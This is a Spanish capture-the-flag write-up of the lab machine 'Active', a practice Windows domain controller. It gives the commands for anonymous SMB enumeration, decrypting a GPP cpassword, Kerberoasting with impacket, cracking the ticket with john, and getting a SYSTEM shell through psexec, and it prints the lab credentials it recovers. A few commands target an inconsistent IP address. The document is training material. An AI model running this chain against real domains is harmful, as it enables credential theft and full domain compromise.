Active
Máquina Windows de categoría fácil con los siguientes temas:
- Enumeración SMB
- cPassword decrypt
- Kerberoasting Attack
- Cracking Kerberos TGS ticket
Enumeración
Escaneo de puertos y servicios con Nmap
Empleando el comando nmap -p- --open 10.10.10.100 podemos escanear todo el rango de puertos existentes y que solo nos reporte los puertos abiertos de la máquina.
Agregando las flags -sC y -sV a los puertos descubiertos, podemos lanzar una serie de scripts básicos de reconocimiento para ver los servicios que corren para esta máquina y sus respectivas versiones.
1
nmap -p 53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49165,49166,49168 -sC -sV -oN target.txt 10.10.10.100
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
Nmap scan report for 10.10.10.100
Host is up (0.18s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-07-02 20:58:34Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5722/tcp open msrpc Microsoft Windows RPC
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
49165/tcp open msrpc Microsoft Windows RPC
49166/tcp open msrpc Microsoft Windows RPC
49168/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2023-07-02T20:59:34
|_ start_date: 2023-07-02T20:46:13
| smb2-security-mode:
| 210:
|_ Message signing enabled and required
Gracias a que vemos los servicios de DNS, Kerberos, SMB y LDAP expuestos, podemos deducir que nos encontramos ante un DC (Domain Controller).
Con el comando
crackmapexec smb 10.10.10.100podemos ver información relevante del DC.
- OS: Windows 6.1 x64
- Nombre: DC
- Dominio: active.htb
Debido a que nos encontramos ante una máquina de Directorio Activo debemos agregar el dominio (active.htb) al archivo /etc/hosts de nuestra máquina de atacante.
Enumeración SMB
Si listamos los recursos disponibles de red con el comando smbmap -H 10.10.10.100, sin proporcionar autenticación, podemos ver que tenemos permiso de lectura en el recurso Replication. 
Listando el contenido dentro de la carpeta Replication/active.htb con el comando smbmap -H 10.10.10.100 -r 'Replication/active.htb' vemos una serie de carpetas de lo que parece ser un backup de SYSVOL. 
Credenciales GPP
GPP (Group Policy Preferences) es una herramienta que proporciona algunas capacidades avanzadas a los administradores para configurar y gestionar la política de cuentas en una red de dominio de Windows.
Estas políticas les permiten configurar cuentas locales, e incrustar credenciales para varios propósitos que de otra manera podrían requerir una contraseña incrustada en un script. Así, cuando se genera una nueva preferencia de directiva de grupo (GPP), se crea un archivo xml (generalmente Groups.xml) con los datos de configuración, incluidas las contraseñas asociadas a la GPP, en el recurso compartido SYSVOL, que son carpetas de los controladores de dominio accesibles y legibles para todos los usuarios autenticados de dominio.
Como medida de seguridad, Microsoft cifra la contraseña mediante AES antes de almacenarla como “cpassword”. Pero las claves están disponibles públicamente en MSDN!.
El archivo Groups.xml lo podemos encontrar en el directorio Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml 
Despues de descargar el archivo con la flag --download en smbmap, podemos abrir el archivo XML y ver credenciales de un usuario valido del dominio!
1
smbmap -H 10.10.10.100 --download 'Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml'
- Usuario: SVC_TGS
- Cpassword (contraseña cifrada): “edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ”
Explotación
cPassword decrypt
Una vez tenemos el archivo XML con el campo “cpassword”, podemos decifrar la contraseña utilizando la herramienta gpp-decrypt.
Solo necesitamos clonar el repositorio y darle permisos de ejecución al script chmod +x gpp-decrypt.py.
Luego con la flag -f le pasamos el archivo XML a decifrar.
1
python3 gpp-decrypt.py -f groups.xml
Y tenemos credenciales en texto claro!
- Usuario: SVC_TGS
- Contraseña: GPPstillStandingStrong2k18
Podemos validar las credenciales obtenidas mediante
crackmapexec
1
crackmapexec smb 10.10.10.111 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18'
Escalada de Privilegios
Kerberoasting Attack
El objetivo de Kerberoasting es recolectar tickets TGS para los servicios que estén asociados a una cuenta de usuario normal. Los tickets TGS están encriptados con claves derivadas de contraseñas de usuario. Como consecuencia, sus credenciales podrían ser crackeadas de forma offline.
Necesitas credenciales válidas del dominio.
Por lo tanto, para realizar Kerberoasting, sólo es necesaria una cuenta de dominio que pueda solicitar TGSs, que podría ser cualquiera, ya que no se requieren privilegios especiales.
Puedes saber si una cuenta de usuario está siendo utilizada como servicio cuando la propiedad “ServicePrincipalName” no es null.
Para ver los Service Principal Names que estén asociados a una cuenta de usuario normal, podemos utilizar la herramienta Get-UsersSPNs que es parte de la colleción de herramientas de impacket.
1
impacket-GetUserSPNs active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100
Vemos el Service Principal Name “active/CIFS:445” y que el usuario asociado al servicio es “Administrator”.
Para solicitar el ticket TGS del usuario Administrator, podemos agregar la flag -request.
1
impacket-GetUserSPNs active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request
Cracking Kerberos TGS Ticket
Ahora que tenemos el ticket TGS del usuario Administrator podemos intentar crackearlo de manera offline con la herramienta john y el diccionario rockyou.txt
1
john -w=rockyou.txt hash
Debido a que la contraseña de Administrator se encontraba dentro del diccionario rockyou.txt, pudimos crackearla y ver la contraseña en texto claro.
- Usuario: Administrator
- Contraseña: Ticketmaster1968
Acceso como Domain Admin
Podemos validar las credenciales obtenidas mediante
crackmapexec
1
crackmapexec smb 10.10.10.111 -u 'Administrator' -p 'Ticketmaster1968'
Vemos que crackmapexec nos reporta un “(Pwn3d!)”, por lo que podemos conectarnos al DC mediante la herramienta wmiexec o psexec que es parte de la colleción de herramientas de impacket.
En esta ocasión vamos a ocupar psexec.
1
impacket-psexec active.htb/Administrator:Ticketmaster1968@10.10.10.100
Y vemos que tenemos acceso como el usuario nt authority\system en el DC, lo que nos permite tener privilegios máximos dentro del dominio.
pwned!








